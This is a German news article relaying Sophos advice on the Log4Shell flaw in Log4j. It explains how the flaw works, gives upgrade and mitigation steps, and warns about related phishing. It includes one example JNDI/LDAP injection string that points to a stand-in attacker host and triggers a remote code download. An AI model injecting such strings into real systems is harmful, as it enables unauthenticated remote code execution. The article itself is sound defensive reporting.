Log4j-Alarm: was Sophos empfiehlt

Log4j Log4shell
Anzeige

Beitrag teilen

Java-Schwachstelle Log4j – Log4Shell – Was passiert ist und was nun zu tun ist. Nach Hafnium, Kaseya oder Solarwinds müssen sich Unternehmen erneut dringend mit einer hochkarätigen Server-Schwachstelle namens Log4j – Log4Shell auseinandersetzen. Sophos klärt die wichtigsten Fakten und sagt, was zu tun ist.

Der Name Log4Shell bezieht sich auf die Tatsache, dass der ausgenutzte Fehler in einer beliebten Java-Codebibliothek namens Log4j (Logging for Java) enthalten ist, und darauf, dass Angreifer, wenn sie die Lücke erfolgreich ausnutzen, praktisch eine Shell erhalten – also die Möglichkeit, jeden System Code ihrer Wahl auszuführen.

Anzeige

„Der entscheidende Punkt bei der Log4Shell-Attacke ist, dass der Server automatisch Code ausführt. Was auch immer ein Angreifer einem Server mit der Sicherheitslücke auftragen will, er kann es tun. Deshalb ist es enorm wichtig, so schnell wie möglich zu patchen, denn viele Leute da draußen, die nichts Gutes im Sinn haben, versuchen bereits auszutesten, welche Server noch angreifbar sind.“

Paul Ducklin, IT-Security-Experte bei Sophos

Und als ob diese Kommandogewalt noch nicht genug wäre, wurde die Sicherheitslücke als Zero-Day-Lücke getwittert, also als Sicherheitsfehler, der dokumentiert wird, bevor ein Patch zur Verfügung steht. Zudem wurde das Proof-of-Concept (PoC) auf GitHub veröffentlicht und das Problem damit weltweit bekannt, während es noch ungepatcht war. Entsprechend laut läuten seit Freitag weltweit die Alarmglocken und auch in Deutschland hat z.B. das BSI die Warnstufe Rot ausgerufen.

Unsachgemäße Eingabevalidierung

Die Schwachstelle, mittlerweile offiziell als CVE-2021-44228 bekannt, hat ihren Ursprung in einer harmlosen Anfragesendung an einen anfälligen Server, die einige Daten – beispielsweise einen HTTP-Header – einschließt, von denen die Cyberkriminellen erwarten (oder sogar wissen), dass der Server sie in seine Logdatei schreibt. Die so eingeschleusten Daten bilden eine versteckte „Sprengfalle“, da der Server, während er die Daten in ein für die Protokollierung geeignetes Format umwandelt, einen Web-Download als integralen Bestandteil der Erstellung des erforderlichen Protokolleintrags startet. Und diese Aktion hat es in sich, denn wenn die zurückkommenden Daten ein gültiges Java-Programm sind (eine .class-Datei, im Jargon), dann führt der Server diese Datei aus, um ihm bei der Generierung der Protokolldaten zu helfen.

Anzeige

Jetzt Newsletter abonnieren

Einmal im Monat die besten News von B2B CYBER SECURITY lesen



Mit Klick auf „Anmelden“ erkläre ich mich mit der Verarbeitung und Nutzung meiner Daten gemäß Einwilligungserklärung (bitte aufklappen für Details) einverstanden. Weitere Informationen finde ich in unserer Datenschutzerklärung. Nach dem Anmelden erhalten Sie zuerst eine Bestätigungsmail, damit keine anderen Personen Ihnen etwas ungewolltes bestellen können.
Aufklappen für Details zu Ihrer Einwilligung
Es ist für uns eine Selbstverständlichkeit, dass wir verantwortungsvoll mit Ihren personenbezogenen Daten umgehen. Sofern wir personenbezogene Daten von Ihnen erheben, verarbeiten wir diese unter Beachtung der geltenden Datenschutzvorschriften. Detaillierte Informationen finden Sie in unserer Datenschutzerklärung. Sie können jederzeit den Newsletter wieder abbestellen. Einen entsprechenden Link finden Sie im Newsletter. Nach einer Abmeldung werden Ihre Daten in kürzester Zeit gelöscht. Eine Wiederherstellung ist nicht möglich. Falls Sie den Newsletter erneut haben möchten, ordern sie diesen einfach neu. Verfahren Sie auch so, wenn Sie eine andere E-Mail-Adresse für Ihren Newsletter nutzen möchten. Wenn Sie den auf der Website angebotenen Newsletter beziehen möchten, benötigen wir von Ihnen eine E-Mail-Adresse sowie Informationen, welche uns die Überprüfung gestatten, dass Sie der Inhaber der angegebenen E-Mail-Adresse und mit dem Empfang des Newsletters einverstanden sind. Weitere Daten werden nicht bzw. nur auf freiwilliger Basis erhoben. Für die Abwicklung der Newsletter nutzen wir Newsletterdiensteanbieter, die nachfolgend beschrieben werden.

CleverReach

Diese Website nutzt CleverReach für den Versand von Newslettern. Anbieter ist die CleverReach GmbH & Co. KG, Schafjückenweg 2, 26180 Rastede, Deutschland (nachfolgend „CleverReach“). CleverReach ist ein Dienst, mit dem der Newsletterversand organisiert und analysiert werden kann. Die von Ihnen zwecks Newsletterbezug eingegebenen Daten (z. B. E-Mail-Adresse) werden auf den Servern von CleverReach in Deutschland bzw. Irland gespeichert. Unsere mit CleverReach versandten Newsletter ermöglichen uns die Analyse des Verhaltens der Newsletterempfänger. Hierbei kann u. a. analysiert werden, wie viele Empfänger die Newsletternachricht geöffnet haben und wie oft welcher Link im Newsletter angeklickt wurde. Mit Hilfe des sogenannten Conversion-Trackings kann außerdem analysiert werden, ob nach Anklicken des Links im Newsletter eine vorab definierte Aktion (z. B. Kauf eines Produkts auf dieser Website) erfolgt ist. Weitere Informationen zur Datenanalyse durch CleverReach-Newsletter erhalten Sie unter: https://www.cleverreach.com/de/funktionen/reporting-und-tracking/. Die Datenverarbeitung erfolgt auf Grundlage Ihrer Einwilligung (Art. 6 Abs. 1 lit. a DSGVO). Sie können diese Einwilligung jederzeit widerrufen, indem Sie den Newsletter abbestellen. Die Rechtmäßigkeit der bereits erfolgten Datenverarbeitungsvorgänge bleibt vom Widerruf unberührt. Wenn Sie keine Analyse durch CleverReach wollen, müssen Sie den Newsletter abbestellen. Hierfür stellen wir in jeder Newsletternachricht einen entsprechenden Link zur Verfügung. Die von Ihnen zum Zwecke des Newsletter-Bezugs bei uns hinterlegten Daten werden von uns bis zu Ihrer Austragung aus dem Newsletter bei uns bzw. dem Newsletterdiensteanbieter gespeichert und nach der Abbestellung des Newsletters aus der Newsletterverteilerliste gelöscht. Daten, die zu anderen Zwecken bei uns gespeichert wurden, bleiben hiervon unberührt. Nach Ihrer Austragung aus der Newsletterverteilerliste wird Ihre E-Mail-Adresse bei uns bzw. dem Newsletterdiensteanbieter ggf. in einer Blacklist gespeichert, sofern dies zur Verhinderung künftiger Mailings erforderlich ist. Die Daten aus der Blacklist werden nur für diesen Zweck verwendet und nicht mit anderen Daten zusammengeführt. Dies dient sowohl Ihrem Interesse als auch unserem Interesse an der Einhaltung der gesetzlichen Vorgaben beim Versand von Newslettern (berechtigtes Interesse im Sinne des Art. 6 Abs. 1 lit. f DSGVO). Die Speicherung in der Blacklist ist zeitlich nicht befristet. Sie können der Speicherung widersprechen, sofern Ihre Interessen unser berechtigtes Interesse überwiegen. Näheres entnehmen Sie den Datenschutzbestimmungen von CleverReach unter: https://www.cleverreach.com/de/datenschutz/.

Auftragsverarbeitung

Wir haben einen Vertrag über Auftragsverarbeitung (AVV) zur Nutzung des oben genannten Dienstes geschlossen. Hierbei handelt es sich um einen datenschutzrechtlich vorgeschriebenen Vertrag, der gewährleistet, dass dieser die personenbezogenen Daten unserer Websitebesucher nur nach unseren Weisungen und unter Einhaltung der DSGVO verarbeitet.

Ungepatchte Log4j-Bibliothek ermöglicht Protokollierungsanforderungen

Der Trick besteht darin, dass ungepatchte Versionen der Log4j-Bibliothek standardmäßig Protokollierungsanforderungen ermöglichen, um allgemeine LDAP-Suchen (Verzeichnisdienste) sowie verschiedene andere Online-Suchen auszulösen. Dieses „Feature“ existiert, um dabei zu helfen, nicht sehr nützliche Daten, zum Beispiel Benutzer-IDs wie OZZJ5JYPVK, in menschenlesbare Informationen umzuwandeln, die in Ihrem Netzwerk sinnvoll sind, wie beispielsweise Peter Müller. Diese Anfragen erfolgen über ein häufig verwendetes Java-Toolkit namens JNDI, kurz für Java Naming and Directory Interface.

Dieses Vorgehen ist so lange tragbar, wie die protokollierten Daten, die eine Ausführung von serverseitigem Code auslösen können, auf Verzeichnisserver im eigenen Netzwerk beschränkt sind. Allerdings sind viel Server nicht entsprechend eingerichtet, und so könnten bösartige „Logsploiter“ versuchen, Text wie {$jndi:ldap://dodgy.example:389/badcode} in die Daten einzubetten, von denen sie erwarten, dass Unternehmen sie protokollieren und Server dabei automatisch

  • JNDI verwenden, um eine LDAP-Anfrage an den angegebenen Port (in unserem Beispiel 389) auf dem angegebenen nicht vertrauenswürdigen externen Server zu senden.
  • den nicht vertrauenswürdigen Inhalt in den Standort Badcode abrufen.
  • den vom Angreifer bereitgestellten Code ausführen, um „Hilfe“ bei der Protokollierung zu erhalten.

Einfach ausgedrückt, wird dieses Vorgehen im Fachjargon als nicht authentifizierte Remote Code Execution (RCE) bezeichnet. Ohne sich anzumelden oder ein Passwort oder Zugriffstoken zu benötigen, könnten Cyberkriminelle eine harmlos aussehende Anfrage verwenden, um Server dazu zu bringen, sich zu melden, ihren Code herunterzuladen und sich so mit ihrer Malware zu infizieren. Je nachdem, welche Zugriffsrechte ein Server auf das interne Netzwerk hat, kann eine solche RCE Cyberkriminellen dabei helfen, eine Vielzahl schädlicher Aufgaben auszuführen.

Und genau das macht die aktuelle Schachstelle Log4Shell so gefährlich. Angreifer können theoretisch Daten vom Server selbst abfließen lassen; Details über das interne Netzwerk erfahren, Daten auf dem Server ändern; Daten von anderen Servern im Netzwerk exfiltrieren; zusätzliche Hintertüren auf dem Server oder dem Netzwerk für zukünftige Angriffe einrichten oder weitere Malware wie Netzwerk-Snooper, Memory Scraper, Data Stealer und Cryptominer installieren.

Was jetzt zu tun ist!

Lizenzgeber Apache hat zu diesem Thema einen praktischen Sicherheitshinweis veröffentlicht. Sophos fasst außerdem noch einmal das Wichtigste zusammen:

  • Upgrade auf Apache Log4j 2.15.0. Wenn Sie Log4j verwenden, ist jede 2.x-Version von 2.14.1 und früher anscheinend standardmäßig anfällig. (Wenn Sie noch Log4j 1.x verwenden, ist ebenfalls ein Upgrade Pflicht, da es nicht mehr mit Updates versorgt wird).
  • Blockieren der Möglichkeit, dass JNDI Anfragen an nicht vertrauenswürdige Server stellt. Wenn Sie nicht aktualisieren können, aber Log4j 2.10.0 oder höher verwenden, können Sie den Konfigurationswert log4j2.formatMsgNoLookups auf true setzen, was das Ausgehen von LDAP und ähnlichen Abfragen von vornherein verhindert.
  • Überprüfung der verwendeten Java-Laufzeit. Der zugrunde liegende Java Build, den Sie nutzen, verhindert möglicherweise, dass dieser Fehler basierend auf seiner eigenen Standardkonfiguration ausgelöst wird. Apache listet beispielsweise Oracle Java 8u121 explizit als Schutz vor diesem RCE auf.

Betrifft die Sicherheitslücke auch private Nutzer?

Log4Shell bedeutet nicht nur Alarmstufe Rot für Unternehmen, sondern auch private Nutzer können durchaus von den Auswirkungen der Lücke betroffen sein. Das gilt vor allem dann, wenn Privatpersonen Cloud-Server nutzen, die von einem Hosting-Unternehmen oder einem anderen Managed-Service-Provider betrieben werden – sei es ein Blog, ein Forum oder die Familienwebsite. Hier gilt es nun zunächst einmal herauszufinden, ob diese Services angreifbar und wann Patches geplant sind. Aktuell macht es sicherlich mehr Sinn, auf den entsprechenden Webseiten nach Informationen zu suchen, da die Anbieter höchstwahrscheinlich momentan von Emails überflutet werden.

Auf Nachrichten von Dienstleistern achten

Zusätzlich sollte auf offizielle Sicherheitswarnungen von genutzten Online-Diensten im Postfach geachtet werden…aber auch hier gilt es, Vorsicht walten zu lassen! Wenn Nutzer Nachrichten über die aktuelle Sicherheitslücke erhalten – eventuell noch von einem prominenten Serviceanbieter, sollten sie nicht automatisch auf die in der Warnmeldung angegeben Links klicken und auch keine Telefonnummern ohne kritische Prüfung wählen. Medienwirksame Cyberattacken wie Log4Shell rufen schnell Trittbrettfahren auf den Plan, die die Angst der Nutzer für ihre Phishing-Attacken nutzen wollen. Im Zweifelsfall sollten Nutzer ihren eigenen Weg zur Informationsbeschaffung finden, indem Sie URLs, E-Mail-Adressen oder Telefonnummern verwenden, die sie bereits früher genutzt haben.

Mehr bei Sophos.com

 


Über Sophos

Mehr als 100 Millionen Anwender in 150 Ländern vertrauen auf Sophos. Wir bieten den besten Schutz vor komplexen IT-Bedrohungen und Datenverlusten. Unsere umfassenden Sicherheitslösungen sind einfach bereitzustellen, zu bedienen und zu verwalten. Dabei bieten sie die branchenweit niedrigste Total Cost of Ownership. Das Angebot von Sophos umfasst preisgekrönte Verschlüsselungslösungen, Sicherheitslösungen für Endpoints, Netzwerke, mobile Geräte, E-Mails und Web. Dazu kommt Unterstützung aus den SophosLabs, unserem weltweiten Netzwerk eigener Analysezentren. Die Sophos Hauptsitze sind in Boston, USA, und Oxford, UK.


 

Passende Artikel zum Thema

DORA: So bewältigen Finanzunternehmen die Herauforderungen

Der Digital Operational Resilience Act (DORA) wurde verabschiedet, um den zunehmenden Cyberbedrohungen in in der Finanzbranche zu begegnen und die ➡ Weiterlesen

NIS-2 ist gescheitert – Abwarten ist trotzdem keine Option

Während andere EU-Staaten längst klare Vorgaben für NIS-2 geschaffen haben, ist die Umsetzung in Deutschland vorerst gescheitert. Das bedeutet: Teile ➡ Weiterlesen

Richtlinien-Compliance: Risikobewertung ist der erste Schritt

Die Umsetzung nationaler und europäischer Richtlinien zur Cybersicherheit kann für Unternehmen belastend sein und dadurch die Compliance beeinträchtigen. Dabei soll ➡ Weiterlesen

KI-Funktionen zur Vorhersage und Vorbeugung von IT-Problemen

Der Hersteller einer KI-gestützte Observability-Plattform kündigte eine Erweiterung seiner KI-Engine Davis AI an, die Unternehmen über reaktive AIOps hinaus zu ➡ Weiterlesen

SaaS-Verletzungen haben sich verdreifacht

Im letzten Jahr waren sämtliche Branchen von SaaS-Verletzungen betroffen. Insgesamt hat sich die Zahl der Angriffe um 300 Prozent erhöht. ➡ Weiterlesen

Bedrohungsdaten als Feed: Vorsprung für die Cyber-Abwehr

[wpcode id="17192"] Nur wenn die Security-Lösung mit aktuellen Bedrohungsdaten gefüttert wird, hat die Cyberabwehr einen wichtigen Vorsprung. Viele Unternehmen nutzen ➡ Weiterlesen

Brand Phishing: Microsoft an erster Stelle

Der Trend zu Brand Phishing, um persönliche Zugangsdaten und Informationen zu stehlen, ist ungebrochen. Im letzten Quartal 2024 kamen die ➡ Weiterlesen

Home Office Sicherheit: Was Ihr Unternehmen wissen sollte

Unternehmen & Home Office: Ohne die schützenden Mauern der Firmen-IT werden Mitarbeiter schnell zur ersten Verteidigungslinie gegen Cyberangriffe – eine ➡ Weiterlesen